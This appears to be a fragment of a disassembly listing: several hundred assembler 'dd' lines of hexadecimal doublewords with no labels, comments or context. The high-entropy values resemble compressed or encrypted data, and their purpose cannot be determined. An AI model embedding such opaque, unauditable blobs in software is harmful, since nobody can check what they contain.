		dd 0E75D82FBh, 5B1FF056h, 0CA0BCA12h, 0FCCA16C2h, 0B11AEACBh
		dd 14E905C7h, 7563F919h, 8382A30Fh, 30088181h, 0E53B4D27h
		dd 58080213h, 0E5FDC44Ah, 511B884Fh, 6120E920h,	5B5805DFh
		dd 0FC1C5709h, 33AE841Dh, 0D1DA32BEh, 115EB262h, 0F5EF3942h
		dd 612DB320h, 29389304h, 0CFCA7981h, 2C896158h,	897E518Dh
		dd 0A8207DE0h, 263E71F1h
		dd 0E491B30h, 5B7B76FBh, 8BF272h, 158A1243h, 7B53252Dh
		dd 0C8011417h, 592F0705h, 6885B9E5h, 61522EA4h,	0E91D0DECh
		dd 0E616F52Dh, 0CD5F2CABh, 902C2716h, 6FF841F0h, 0A8EDB744h
		dd 2313E810h, 68D5C839h, 104E2D24h, 0CD9118C9h,	81519129h
		dd 0BD54CCBAh, 75B56F61h, 0A1011045h, 4D356BD0h, 2CEAC76Ah
		dd 0E85B3061h, 362CE2C9h, 3EFF95B1h, 0A70033DDh, 4CD65225h
		dd 0E902E63Ch, 7059195Ch, 83AA8D7h, 236F923Eh, 1E0B1FF4h
		dd 0EE318F3Dh, 9AF22284h, 6768F24Ah, 63FD13ACh,	0E11A79A2h
		dd 4981D1D9h, 0F27E236Bh, 2AAF4E9Bh, 18B57F9Bh,	277BBBF8h
		dd 35F818D4h, 9420F05Eh, 1672C4B9h, 0CB0178A9h,	0F8290300h
		dd 10113B68h, 0B656799h, 50EA8342h, 84241C6Dh, 8F8A58Fh
		dd 8AD0E095h, 392D8063h, 76B8121Fh, 0F8DDE86Fh,	0D183CDDDh
		dd 3779CE30h, 0D8052145h, 0DBB31FDDh, 0E2BEB317h, 68500154h
		dd 6216589Bh, 8255EA20h, 48A13440h, 0F412982Dh,	670202ACh
		dd 0F87D465Bh, 4B500F29h, 1833EB17h, 7F685375h,	3619BD12h
		dd 31B121ACh, 0A80C45C8h, 4CB8D32Ah, 61695216h,	0AC4C9C39h
		dd 180988C5h, 0B9E71ADh, 0FB2FCF68h, 2AF745A9h,	520E26C4h
		dd 841C0FCBh, 28AEABC4h, 55035961h, 0D677EFBDh,	0ABCDF061h
		dd 78C7065Fh, 242141E9h, 0FF4CE295h, 0DD571D00h, 894AE74Ch
		dd 76DB2DFEh, 102A4847h, 24757375h, 50DD124Fh, 0F49F4C31h
		dd 40E98B0Ch, 8C052E20h, 7F4E1A94h, 0F52A4FADh,	0BD2D06F0h
		dd 1BE1720Dh, 7942D8BDh, 51760D2Fh, 6B67DCE9h, 277CC5E6h
		dd 0E6543AEFh, 6FA1E7C5h, 546D627Bh, 54A744Ch, 0A748A98Bh
		dd 69595B2Fh, 10E8C160h, 204C24E9h, 0AE68B01h, 7F018A5Bh
		dd 0B9E96664h, 483B627Ch, 0C631227h, 9173C217h,	2D92CFEh
		dd 0C11AC2E1h, 404118Fh, 12B72D90h, 77790187h, 26E9CEE3h
		dd 8FFB8F6Bh, 378B0D02h, 4CC1D518h, 1673E4E1h, 0ABA53394h
		dd 138CF207h, 0E3840EA4h, 0D316B6BAh, 0CE6BEBA5h, 27E90BE4h
		dd 60B1D68Ch, 6E3811F0h, 0E171509Fh, 1221C760h,	4DF76Ch
		dd 91DCD5Dh, 0C11410BEh, 4F305EDh, 0E468D607h, 254CA0AEh
		dd 0FC30F3DBh, 135A52FFh, 3F69BF08h, 8848B636h,	0C0A16020h
		dd 2AA26AC7h, 339ACF02h, 600F61C0h, 0F719EE62h,	6D059CD8h
		dd 0F8BD02DAh, 56128276h, 0BE5ECADh, 0C900ADB5h, 0FBC58136h
		dd 0BE454F31h, 0A660A0F5h, 3A39565h, 0EAE55E0Eh, 5D5DFB82h
		dd 30F668C1h, 0F1B44A77h, 2B492DBAh, 87475473h,	0E4D5895Dh
		dd 0A623E10Fh, 5B627074h, 0C49077C8h, 4081A9D2h, 0AC7C82F5h
		dd 0D82BF041h, 36949FA0h, 27DE162Dh, 7AF9E3A1h,	0FB920290h
		dd 0ADE93391h, 4E9627BAh, 61CECD10h, 0E997C1Eh,	0B2C54B9h
		dd 0B679000Eh, 0BD14BE3Eh, 17A96BC0h, 0CAFC9E50h, 4A6526B1h
		dd 0E4427884h, 0D952515Dh, 12373E46h, 3C21A229h, 0DBAA987Fh
		dd 5F19D26h, 0E07C894Fh, 9C92D96h, 895AFEA0h, 81FB41A2h
		dd 0A1CC467Dh, 0AB05D76Bh, 8EE4A2D0h, 0AA2B4EF4h, 22F46452h
		dd 5F694FE9h, 0E3EE01F9h, 20391E74h, 22621464h,	0D2A30F9Ah
		dd 0C4B977A6h, 80EAC12Eh, 3E15F27Fh, 93C632Ah, 382502EEh
		dd 0D8804967h, 0B81F6C2Ch, 1B40131h, 0D974BCBBh, 0E9C3E40Fh
		dd 0E1F1FA4Bh, 0F72DE15Eh, 0D697D3DAh, 0FA87D162h, 2D795B57h
		dd 80082D73h, 0BE5600C3h, 29885BE6h, 415F94A2h,	66E88112h
		dd 9580622h, 5C186DE9h,	271EBB77h, 0C9BF4912h, 5176746Fh
		dd 4FC0B91Eh, 0D8CD2989h, 0F9EF20D4h, 0D1C5E19Dh, 564F002Ah
		dd 91FCDA4h, 0CE08E49Eh, 0ADD2C5Fh, 0C97B5854h,	0D5D2E216h
		dd 11B41D16h, 0DB9EA029h, 61389DE8h, 3F256859h,	0D88AD43Ah
		dd 3B12DCB9h, 9EA40E6h,	46F874C3h, 0D54A1691h, 0EA10023Dh
		dd 0FCD5F766h, 0C1ED088Fh, 642D332Ch, 0E641B0CAh, 3279300Fh
		dd 85AA6B44h, 0D9EC2FE5h, 541A4912h, 342DF4C4h,	2EEDCAC8h
		dd 0A02BFB02h, 0F15DEF31h, 0F3B940D4h, 37505120h, 102580DCh
		dd 7A4B0D09h, 6F713CE9h, 0F3C4407Bh, 18231F66h,	0E6B60AF6h
		dd 7FBD6809h, 59E4BBA2h, 0FC36C67Fh, 0C3214872h, 0BDA355CFh
		dd 0F55A177Eh, 0D41877B8h, 30D4B3Ah, 5E1DFB3Dh,	916B43E5h
		dd 3251AC86h, 0F6EB02FEh, 0FD1A7973h, 809F66Ah,	7EFEF591h
		dd 8AEF58C5h, 30FF9374h, 4E10C2F7h, 0E9736E09h,	0AD4711CFh
		dd 0BED056C9h, 0A06378F7h, 0C45C7FC6h, 330DC0Bh, 0F816AFF6h
		dd 907A922Dh, 89E91362h, 0C3204978h, 0D008CEF0h, 3F6C3577h
		dd 0C0855F1Ch, 726E2305h, 5926E94Ch, 0F799D87Ah, 0BCF8FA24h
		dd 0BAFE9D18h, 13B0EF00h, 32E96FEBh, 0CA2D1F6Ah, 7232EC00h
		dd 1FC1B724h, 26092CCCh, 0CE825646h, 0E1DF3CD5h, 37C7810h
		dd 42F6BD02h, 15407A56h, 0DE506B5Bh, 0C7675A9Fh, 1974D65Bh
		dd 85AE33D4h, 0BD87AAB6h, 0C31E802Bh, 0C8042h, 183BBD64h
		dd 0BA526827h, 9F39C809h, 1282F4B7h, 2E6C0431h,	0BC1F13A8h
		dd 0EF1E9526h, 0C513E48Fh, 80C8CC55h, 0BF3531E5h, 183D7E0h
		dd 0C0DCEA88h, 0E75EB52Ah, 487169CFh, 757C331h,	140DE6Eh
		dd 13EB85CBh, 0E97CD008h, 2FC0C37Dh, 0FC1D22C2h, 9F2958ECh
		dd 5FC0ED39h, 0A01B6CB5h, 3B6855FAh, 0BDF070EAh, 0D62AD0F0h
		dd 21BD8953h, 633B099Eh, 9F6C4820h, 0C81A046h, 0E9002B5Dh
		dd 30166BDCh, 2075FE9h,	22268D4h, 2DBCEDDFh, 0FEC4D954h
		dd 15EEAC2h, 0E0F80158h, 10DF15B7h, 0A4EFCA8h, 38A84E12h
		dd 5210CCB0h, 6E741B5Fh, 0C27570CCh, 1097688Dh,	666025F4h
		dd 0B02DA670h, 74570B44h, 0DBD04432h, 3E33D9F9h, 0E411C406h
		dd 0BEC54B7Fh, 0D013AB16h, 0D77C98AFh, 0AC1E9794h, 8F0B082Ch
		dd 26E6DA61h, 96E63074h, 68CD4290h, 587E6D70h, 0A3E3562h
		dd 2FB9247Eh, 10C08AF2h, 0BB535559h, 8761265Ah,	63100038h
		dd 0DD29E56Bh, 741D9A95h, 94E904B9h, 3D83F3ACh,	5F5EE917h
		dd 1C55D704h, 785AD30Bh, 206E12E2h, 0BA2CC4E3h,	0CF22728h
		dd 665BD828h, 0B6255230h, 0BC354F1h, 0A4464A30h, 7FD46816h
		dd 0D9E84899h, 276AA0Dh, 753EE0CBh, 0A3908F51h,	130B9D84h
		dd 2AB105FFh, 0C6ADD1h,	710D0135h, 0E9DCA81h, 4A7F2D7Eh
		dd 31AFE2E1h, 1DE9F47Bh, 0F60107BEh, 0F2F480DCh, 0F03ECCCCh
		dd 3F7AC9D4h, 24940558h, 2D6D6719h, 907C60E0h, 8211B6E5h
		dd 3B371363h, 688A80D5h, 0B005EF59h, 3EA1B981h,	0FD58F917h
		dd 0AB6BC406h, 7340500h, 0C1B56192h, 136F8D25h,	21408909h
		dd 310F204Ch, 892BFB49h, 9C7B7853h, 44E989ABh, 0B638C170h
		dd 5AF31A4Dh, 25A0DC50h, 95378D1h, 4043E99Ch, 599BEE8h
		dd 5E41FA3Fh, 2FE922C8h, 9E7E09D5h, 23E88049h, 9873A506h
		dd 3FF69A8h, 81729A77h,	7BE62F99h, 5F953260h, 61AC8E82h
		dd 2E4D71EEh, 5BCEEF60h, 6FBACC9Fh, 9D5BA540h, 2D00FE58h
		dd 72A925B5h, 3A58ED35h, 0E28423ACh, 824D242Fh,	20BEACBh
		dd 98A6DA3h, 58DA6402h,	77288C79h, 2E189B26h, 93674A5h
		dd 0F6F136B0h, 198A2D81h, 0D24228B7h, 97078F05h, 0E24C16FDh
		dd 0F843B44Eh, 342F619Eh, 0B0D99FABh, 0A16F9EEDh, 0B3C004ACh
		dd 3FA351A2h, 681693F7h, 20D5CD2Dh, 0C8920F1Dh,	82EEC939h
		dd 0CC08E0C1h, 3A3F559h, 5F7468A5h, 31013913h, 8A4F04AEh
		dd 5444FFEFh, 9CE740B2h, 83F40769h, 5D23FE89h, 38E2ACCh
		dd 417FBC80h, 25BBCE9Dh, 994EC9BBh, 8BA2015Bh, 0A57ABF2Eh
		dd 50C017D1h, 74158768h
		dd 2629BE56h, 45C7406Fh, 16C60633h, 97D125ABh, 8917C65Bh
		dd 0F27E15A1h, 8338665h, 36BE5C60h, 0EF6F9292h,	58C948E4h
		dd 0A4E3D3FBh, 0ED6E1F19h, 0FDB7B618h, 730FB880h, 29A32F69h
		dd 0E9587CD4h, 0D7035E21h, 0F74B51D2h, 0DF8D40DBh, 115E8536h
		dd 7C099E16h, 97C65D37h, 88F8EBFAh, 9E80C6AAh, 8A0032Bh
		dd 87B3894Fh, 6D20B058h, 0E83351Ch, 0E6255C80h,	0FE3D4458h
		dd 433459A4h, 0CFE7EB1Ch, 3A69DFF3h, 0A5682F21h, 3F37E970h
		dd 0BE9236A9h, 3485F28h, 0C17E524Ch, 60608E1h, 74F5E906h
		dd 0EFB90260h, 295E094Ch, 95B396DFh, 1380C27Ah,	7F49C2E9h
		dd 482C6B34h, 8245AD81h, 457F5EE2h, 4D40AF23h, 627CB05Eh
		dd 0F1416825h, 9EBD8040h, 0F73A2D44h, 0F2A0DD4Fh, 28BC05F8h
		dd 0B0E989A0h, 6040529h, 0D9F74CB8h, 57E460C0h,	2C9A9039h
		dd 6B95EF1h, 715434E9h,	0A96BF314h, 82E44592h, 0E9510606h
		dd 0B84DE8FBh, 200724FEh, 0ABA418F2h, 0BC0FF181h, 69C7D805h
		dd 668C2942h, 2CD1B537h, 2A5D75Bh, 26C46BB9h, 8A4F8862h
		dd 18884C41h, 53003BF5h, 0B9B572B7h, 5BFD1F30h,	0D6F64C86h
		dd 0C5278008h, 812F65Dh, 0B30EE3ACh, 5EFDFFA3h,	0DF7F6789h
		dd 55A54CF1h, 0A1946B3Dh, 452A890Dh, 8593F92Bh,	79EA07B3h
		dd 1305324Ah, 98211D93h, 537A267Dh, 0A82E1775h,	0BD124E31h
		dd 54B2E2B8h, 86DC67D5h, 4D3602E9h, 42A85EB5h, 102BD268h
		dd 820559C4h, 5B6C8760h, 1F5EC895h, 0C10CC1CBh,	0D16804EBh
		dd 1D90264Eh, 9122972h,	51BEA54h, 573E034Fh, 4898B184h
		dd 0F1EA58C1h, 0F91BC4Bh, 0C61A3D06h, 160B07B8h, 0E9489CE9h
		dd 0CB8C9E09h, 675E8047h, 548FDA4Bh, 971FC15Dh,	0C26803B0h
		dd 609C5C39h, 2C8A148Fh, 357A029Fh, 81245E2Fh, 16AB54D3h
		dd 0B0F0DF42h, 1F4A5609h, 5A218E4h, 31EEF5CAh, 891598D3h
		dd 5E5BD92Dh, 469A012Ah, 0F5E97B4Ah, 97F86A62h,	0B1AF8ADEh
		dd 0A47A6D6h, 6F960FD8h, 0E78F5FE5h, 84DA43A3h,	1E561C47h
		dd 0C4DD120Ah, 3410C00Ch, 0C7B4038h, 4B06645Ah,	767F5059h
		dd 0F9C998Bh, 206F1CECh, 21ACC965h, 0CE8706E1h,	4CD5DA57h
		dd 3D312566h, 0E1290D08h, 7544EA54h, 8582334Bh,	8594FD58h
		dd 9C43CE97h, 23055248h, 0BA9442AAh, 99632639h,	53F608D2h
		dd 8785E27h, 5B176BA0h,	0D082053h, 18812D54h, 2B4FFB87h
		dd 0B708C296h, 0C6A774C5h, 1CE90C1Dh, 8A0C0FE8h, 29A66150h
		dd 808F3AAh, 44070493h,	3181EA75h, 6DDD714Bh, 5C88F7D8h
		dd 77C4140h, 0A31976CFh, 50DFB03Fh, 780963B8h, 0C0310FACh
		dd 441EAE5h, 2967C038h,	0C3DAC0FAh, 704C5C5Dh, 258205BAh
		dd 89FA089Ch, 0D163E8C4h, 489229Dh, 0D86B0F7Eh,	0F35493ACh
		dd 0E162B72h, 964531A8h, 62BB10C1h, 7F09442Dh, 0A7EDD083h
		dd 37A0063Ch, 60EF0ACDh, 885326F5h, 2DDEE4EBh, 0B960595Bh
		dd 7B8C69CEh, 0F9528186h, 2C673Bh, 33092B44h, 0E755D5F7h
		dd 0C903E821h, 0DDFE92F5h, 56769044h, 1AD75E74h, 15F1DBBh
		dd 168B7CBh, 1BC870DDh,	933C96B6h, 3E614F7Fh, 80002BD6h
		dd 0F2B876E1h, 0CA881B18h, 809B6FF8h, 0A70FCE81h, 6723137Ch
		dd 93BFDAEBh, 0D6CDAAFh, 3D7AB5E9h, 65F85DEEh, 48185952h
		dd 293917B7h, 2E61649h,	5737C03Eh, 0AA9389D1h, 0A5BAFFC0h
		dd 33B40D79h, 0A886D389h, 59BF7E19h, 6DE97890h,	44E8C04Ah
		dd 0CD2AC1C6h, 105AD627h, 48428FE9h, 0C0732830h, 55D10145h
		dd 2C168BDh, 480FE969h,	5DC703Fh, 2FFE6023h, 352E5360h
		dd 92518F75h, 5BB9A1A6h, 0D050694h, 1A685714h, 4FEEF05Eh
		dd 0EA5A6082h, 0AA12F34h, 468AA9C0h, 60A77A99h,	1A3F79DCh
		dd 0B66B875h, 0FFF742D5h, 8668E510h, 0E9F6734Fh, 0AEBA520Eh
		dd 874DE664h, 5B5760D2h, 0A24EE948h, 0F22EDBA1h, 5AA0D5ECh
		dd 6B34F8B1h, 0B8555F5Ch, 160A2EBEh, 0ABE408C4h, 0C9034BF2h
		dd 0FDA12021h, 3BF44F17h, 583AC706h, 16C61FEBh,	8E1A5D3Ch
		dd 91A464F6h, 0A412C030h, 5050A774h, 30B3AE7h, 0FF21DE15h
		dd 7D38A622h, 3280A262h, 4D90A44Ch, 0C1FEA8BAh,	0D2EE549Fh
		dd 2BE2C8C1h, 277AB8F6h, 1C234DC5h, 0E2C7C332h,	0CDE1F829h
		dd 2CCD6B3Fh, 0D22A4F65h, 0B76801C2h, 4081E02Fh, 414BB241h
		dd 0E2CC60E6h, 2573050Ch, 2D2F734h, 4301C1BAh, 9BCA3760h
		dd 203FD9EBh, 7582BD9Ah, 2D7980D0h, 55B3C3Ch, 0ABE9555Eh
		dd 0BBEA7B0h, 429C3B8Fh, 33D5004h, 2407E6C1h, 13D0606h
		dd 2D684C0Dh, 0D01E2021h, 0BA3A2F60h, 4B5D0412h, 0D2818744h
		dd 98FE4352h, 61E36861h, 9C43E2Ch, 8DDEE82h, 4D7E3F40h
		dd 0E9451284h, 3183A00Bh, 1825DA77h, 4BC87A34h,	6EC3B109h
		dd 0E98204CBh, 0E65F39D5h, 13535A5Ah, 0BF9BBF51h, 5968D25Fh
		dd 8130E57Fh, 0FC45EBBFh, 5C296040h, 32E0110Eh,	5EB2A9E9h
		dd 2E68E15Bh, 92B5786Ah, 4D6DCB00h, 34E944EAh, 8033D88Fh
		dd 0D204D01Fh, 0CE5F5428h, 0F098905Fh, 602B9784h, 0DD111C7Ch
		dd 0D4200058h, 5A54097h, 93D2D02h, 402DCC61h, 2175E907h
		dd 0A56C65BDh, 0FE95A96Ch, 2B5C596Bh, 108ED689h, 0D30996B2h
		dd 238BE5F5h, 43B009ECh, 0BA55E375h, 0F932570Dh, 9E83C478h
		dd 540707EAh, 23AC4664h, 1BD7BB0Eh, 814B5F20h, 332D7BE3h
		dd 0F3D980EEh, 0F8268225h, 0C5E61DF2h, 67425D5h, 310AC025h
		dd 6BA3B6C6h, 3A8A8CFDh, 0F73E1365h, 5A44BFEFh,	0AA12EA8Ah
		dd 43FFA1Eh, 16507C2h, 3FC5A1FBh, 61DAFB18h, 8F599C3h
		dd 312C23ACh, 28D2D002h, 60EE42F8h, 1EDBBE9Fh, 5453DF35h
		dd 4F27BDF0h, 0FC25B2E6h, 5203B4C7h, 0B8930934h, 377E1C13h
		dd 0B632F525h, 8E9ED95Dh, 0BB164EABh, 0D3463CAh, 74D8AF89h
		dd 31366E55h, 67A573CBh, 1309BB21h, 2707D48Fh, 84E90571h
		dd 0AE120D79h, 98349308h, 58BA9714h, 3AE86271h,	0B10163Dh
		dd 0DC5DEA31h, 276A08DBh, 7CD5714h, 72D860E8h, 30B1DAE4h
		dd 9F03E2CCh, 370728E7h, 5E077702h, 0F582F3A4h,	47C4E90Fh
		dd 9DBE3CDCh, 58F8B314h, 0E9A78E4Fh, 0BA4A257Bh, 294B29C4h
		dd 1601F2ACh, 663F0C6Ch, 0B026BA8Fh, 0A9C73D5Bh, 46AA265Eh
		dd 955D8BE7h, 92611E9Ah, 1C5B886Ch, 3912286Fh, 48004595h
		dd 0F1FD2005h, 0C5493113h, 4CA89753h, 25DD532Dh, 0EE87F7E6h
		dd 3E272FB1h, 0BFE09945h, 0DA883952h, 258AD526h, 39B9CC80h
		dd 1A004634h, 5E38B850h, 2DE9254Dh, 6351203Eh, 2DE31925h
		dd 0C805DF33h, 0A014E952h, 64B02C0Ch, 0D828921Dh, 10C176BAh
		dd 32B2528Ah, 0E228846Fh, 0FBB493B1h, 304041A7h, 5D4CF5CBh
		dd 0A468C764h, 5363F689h, 0D5692A17h, 147AC48Dh, 380563DCh
		dd 80308F42h, 9E48BAE7h, 0E6D12A12h, 5AB03101h,	0CDF806C1h
		dd 6D5F0518h, 5801E979h, 0B5C3A6BCh, 5E97225Ch,	84010EDh
		dd 98392DE9h, 73412CA2h, 17B8220Ch, 81CB601Eh, 3421717Ah
		dd 594FCEB1h, 2E8442BDh, 7D58091Fh, 22C9DEA3h, 0E05539DAh
		dd 12B29FFFh, 41516C8Bh, 4660B746h, 5465F42Ah, 183FC688h
		dd 0C0C743Bh, 8E2194Fh,	0CAFDD3B8h, 40C088Dh, 5EF3AA14h
		dd 1D34E610h, 66C90FB7h, 89BAFF31h, 4F7C0B42h, 0B05002Fh
		dd 0D3403A60h, 0ECEA4D3h, 9889BF40h, 0F6CB7A2h,	82E8B22Ah
		dd 0B5C270B7h, 5A13CDF6h, 4E7CDBEEh, 0A57D8A4Ch, 80DE0128h
		dd 45B10EEh, 2CF0C0E3h,	0CA2DE9E8h, 2AB64847h, 0F4A0B22Eh
		dd 33E42D4Bh, 85F6EF38h
		dd 1BA91912h, 0EB59D4BBh, 0B0161C5h, 7D175C9Ah,	550ABFBh
		dd 11BA661Ch, 0BB31EF0Dh, 784DDF7h, 0A73177E9h,	0EA800BBFh
		dd 35B41067h, 0B7788223h, 26AA4600h, 336394BFh,	0F7310216h
		dd 2E14685Eh, 0A994F8C6h, 80FFF4A7h, 605B27B0h,	6082F901h
		dd 7BA34EF4h, 899EAD5Ah, 0E657FB67h, 0FCF44EECh, 70BED2B2h
		dd 0C293E992h, 0F05F449Fh, 0ECA44983h, 3DEAEE24h, 277BB7F4h
		dd 70F25025h, 0C2D04158h, 4C1FD43h, 2E8C2B08h, 0B4500652h
		dd 6F8BE937h, 25C8FCB5h, 0D8D225Fh, 6332F534h, 9B132463h
		dd 0F7E6D48Ch, 9B4E074Bh, 86717467h, 0E480BD55h, 0C5257BF5h
		dd 5E94E14Eh, 65CCF13Fh, 0FB19444Ah, 0AF280DCDh, 926612h
		dd 5A13C9B6h, 58B7291Dh, 1441601Fh, 0A2D3C54h, 0CBBEE8EDh
		dd 0DDFBD425h, 4EC19996h, 2B092298h, 0C50E1F0h,	497FAB5Fh
		dd 6E027798h, 94E91AA2h, 2E985FCBh, 0B6804020h,	0DA28589Dh
		dd 0FC0A2A17h, 1C6A140h, 0D2A4031h, 20C55D64h, 17250F3Eh
		dd 6547E036h, 4FA6167Ch, 0CBD3AC51h, 82CB29FAh,	5215C715h
		dd 5159094Ch, 0C1FD6EF8h, 5FB9B78Fh, 685370DFh,	6697581Dh
		dd 0AF5A2022h, 535A31F7h, 0BE70BF75h, 0DBF40B67h, 5D303A62h
		dd 60C5FEC8h, 51386315h, 0D9E91DCFh, 1EE0EB37h,	0D79B252Bh
		dd 5D81825Ah, 9E339EFFh, 62E9413Dh, 964E2B95h, 337764A9h
		dd 0BA2385FAh, 2543E9D0h, 5AE9E288h, 0ABBF84E7h, 680E318Fh
		dd 0AF1220CFh, 0C503E4CAh, 3A480E2Ch, 8FF4545Bh, 0E9F50901h
		dd 9AF6CA64h, 0DC27A5EAh, 0C974C76Ch, 4AF9CD7h,	1B75012Dh
		dd 2387814Eh, 0B06803B6h, 1E426Fh, 6E6B0558h, 0E8C1487Eh
		dd 712D0702h, 7C8DAD62h, 4FB90073h, 2973201Fh, 0CB1348B7h
		dd 0BD877014h, 0BC20B20h, 0BF6B21h, 1ABD3EAEh, 0E3499D19h
		dd 15A430C8h, 0AA600841h, 0BB530E50h, 0F09449Bh, 0B2E120D7h
		dd 0EC54E052h, 3ED714E3h, 17C8F2Ch, 0FC889573h,	491506E9h
		dd 0D5917ED3h, 0E5D47DC5h, 0EB292C75h, 4FF91683h, 5C1BD1B8h
		dd 2FB912D1h, 2172FAD7h, 535B0222h, 27B55A7Fh, 2AD17C71h
		dd 32ADB983h, 61B8807Dh, 31A90656h, 0F059C829h,	802A942Ch
		dd 12BBFE25h, 0D916B5DCh, 1133F9Eh, 5531DC8Ah, 2143CC56h
		dd 9B076EDBh, 42714517h, 5A82CD89h, 0AA0ECBF5h,	0E5D4807Dh
		dd 0F932B05Bh, 306EB8D4h, 13243D78h, 4C0B6377h,	281430E9h
		dd 826CE86h, 222B6C0Fh,	57D6F77Eh, 4498416Bh, 1E7B8849h
		dd 68E1DE50h, 63127F0Fh, 42F59EE9h, 14E1EFE0h, 0A607AE0Dh
		dd 618E5D25h, 6885C168h, 31AA7B64h, 3934E9F9h, 43C6011Dh
		dd 95A287Ah, 0B377473Fh, 0A8A27494h, 0BC4250B4h, 2804D89Ch
		dd 83AD5AF0h, 0BA3D5292h, 4142EA2Ch, 0FB7E303Bh, 9159FE4Ah
		dd 9EE0A476h, 0C18940AAh, 7308EF2Ch, 70884F14h,	0D98E199Dh
		dd 67680F84h, 41C88D66h, 540F451h, 5E698BFBh, 3102D4FCh
		dd 5E42D719h, 76ECDDh, 18E93BC2h, 6EA1CF81h, 6F509464h
		dd 0FAE724FBh, 0DF909631h, 7155C004h, 0E5C8623h, 0A4C8295Ch
		dd 0A185DF2Dh, 0A4F3AC5Bh, 9CD433BBh, 4436620h,	3108C605h
		dd 49E7AE60h, 27D55026h, 0BBAC4004h, 50809EA2h,	85B774B0h
		dd 0E9C7300Ah, 0BB80D3ECh, 73807EACh, 0A8F33081h, 3AAE90Dh
		dd 89A2519Dh, 94D5626Eh, 38A04D1Dh, 0ED1FD44Ch,	0E48081D0h
		dd 0FDDCF668h, 1E70CF46h, 9D66EF3Dh, 27271599h,	8A0C0CD7h
		dd 0D3A2590Ah, 1605F72Dh, 0D1D1F0E7h, 2D48E814h, 0FDF11FA4h
		dd 640F0849h, 3D91DB6h,	0EB166F78h, 9DBAF2B5h, 112DD020h
		dd 1200856h, 0AD5A254h,	1A180D0Ah, 4BF9F6D3h, 963BA6FEh
		dd 0EC77BB0Bh, 21014020h, 0FD8AD04Bh, 0B925E913h, 0D0582DD8h
		dd 8F58B579h, 6CFE38ECh, 51F0F849h, 0C39038A0h,	18221168h
		dd 0A232497h, 0D97C2548h, 0F733B50Fh, 371FA4D0h, 698D8DFBh
		dd 0D889130Ah, 55F04Bh,	281DA5A9h, 6E49765h, 901514BFh
		dd 7014821Ch, 6E25BF5Ah, 1231FCD3h, 0BA565Eh, 56C832Fh
		dd 38944701h, 64ACCF03h, 206FD750h, 6D794D35h, 445627E9h
		dd 3C3B3748h, 685080h, 13DC5CA1h, 0D5F79558h, 0DF312AE7h
		dd 0B9003164h, 0F725374Ah, 9A94DC75h, 0AE402501h, 67048AC4h
		dd 59CE29FEh, 111A56FCh, 0DDF3AD2h, 388707A1h, 0D9FD04EAh
		dd 4F83C4A8h, 0BB3370E4h, 257A39F3h, 0D038204Ah, 0C34B315Fh
		dd 54C101F8h, 2055535Eh, 652C6D77h, 4683572Fh, 542F912h
		dd 0A17FC80Ch, 0BACAAE8Dh, 0D86CF15Eh, 565B02EEh, 746B39EFh
		dd 0A012B284h, 49AEEAC0h, 5D702B4Dh, 0FE278A9Eh, 5954580Ch
		dd 2C0B6998h, 904CD312h, 0B5FAEF25h, 24AF597Bh,	3CF865B5h
		dd 0F40CEC5Fh, 0E9F0A6FCh, 449532F0h, 5E4DF0AAh, 6B91E430h
		dd 317F5E38h, 3E920E4Eh, 46856A61h, 0AE2FCC8Bh,	0C5AB8D16h
		dd 0FB0884C4h, 414EA588h, 413940A7h, 0B24F15Dh,	0B5025451h
		dd 772E926Bh, 31F8BA63h, 2AB00A2Fh, 83A9933Fh, 0E9D1892Bh
		dd 908BEEA1h, 0B2080504h, 0AA172F41h, 0C0BE874h, 85AD545Bh
		dd 0FEDC0E9h, 6EA2523Fh, 0E1F0892Dh, 3B058CFAh,	0F529021Fh
		dd 3008F610h, 37CB1E5Eh, 68389899h, 34081EFDh, 28261A0Ch
		dd 5F1CA45Fh, 1FE2CFABh, 4F386851h, 0E98EE6E3h,	37D9390Bh
		dd 0FB055981h, 0BC724B22h, 0A9C4A800h, 1198E9AAh, 0A0BD7EB6h
		dd 1DBF4863h, 0EADCFBCCh, 254E7C01h, 0B9DAE912h, 0B8D21F7Ch
		dd 1FC2B07Bh, 738E2670h, 0C2D2863h, 0EC705E5h, 9502C67Eh
		dd 0DA299B38h, 0E072685Bh, 17333020h, 691DC3A3h, 436CFA12h
		dd 0C910FE09h, 943C88CEh, 1BA1BA03h, 3E053E22h,	362047A3h
		dd 41E6DAE0h, 792F6213h, 0F59ACF2Eh, 0F9D2F89Dh, 993A76A1h
		dd 0E0443AA4h, 28221731h, 60374C1h, 60D70F68h, 55645A43h
		dd 783AF230h, 6580C24Eh, 4A501EB6h, 0F5FFA51h, 0DA05C98Bh
		dd 0FFE409E0h, 917EFEA7h, 9DE2E51Fh, 68048F53h,	0F9B84DD5h
		dd 12D756C4h, 0D0D924FBh, 7961B479h, 50F7C63h, 5538824Fh
		dd 10D7AC8Bh, 95E2F194h, 0A0D9845h, 2EA555A4h, 730EFD54h
		dd 4979C446h, 0BE9B0C0h, 3A24D457h, 865F6E04h, 0ACE78536h
		dd 3AAF5AA6h, 0A734102Bh, 80EEB403h, 0EC9811C4h, 0E35A205Ah
		dd 9ABABB64h, 0CEE909BBh, 3091D579h, 90E46B20h,	280873EEh
		dd 7EB303E6h, 0AC96504Ch, 0AF6C97F5h, 4F812958h, 68162BA6h
		dd 49E15DA0h, 0BEF7542Fh, 465E9DD3h, 0B10BAD62h, 9596A3D5h
		dd 6A44AE59h, 0AD00F97Ch, 0C1DEE81h, 0AF7EF63Fh, 5F1FBC6h
		dd 0BE61158h, 28DEABD8h, 521E5C25h, 1338CFD5h, 50136087h
		dd 67B25BE9h, 80780DB0h, 0D9F66F1Dh, 10C2C94Ch,	0F1085EDEh
		dd 3301F851h, 6AA88C91h, 77FEFC26h, 782FDB8Bh, 23C72475h
		dd 0AB691710h, 0F6019653h, 27906D9Bh, 0BCEDFB00h, 4DB8EF4Bh
		dd 4428E926h, 1DBFB258h, 13BF565Bh, 0AF89412h, 968AABE4h
		dd 73200548h, 5BDF8914h, 4E951EAEh, 3DAF5B7Dh, 0E2F93BB5h
		dd 0AF42EED2h, 55D50DE9h, 0B520D86Ch, 0BE2D5B64h, 0B5C25710h
		dd 0AA4A8FEDh, 403CE138h, 68155C29h, 5A443701h,	0BAB585FCh
		dd 502865E7h, 0F776278Dh, 0F97F8AA3h, 97530D3Eh, 19C91FD8h
		dd 2851DAC0h, 4AD998B5h, 84F3BC74h, 5BC0575Ch, 330E38BCh
		dd 8E0ABF28h, 3E04BAADh, 6E18876Dh, 0C982843Eh,	0C52E08BAh
		dd 91DFEB82h, 0E9273320h, 0B4B388FEh, 586E7DE0h, 98017669h
		dd 9E6075DEh, 6DFEA7D1h, 983E35ACh, 5341A286h, 2802C78h
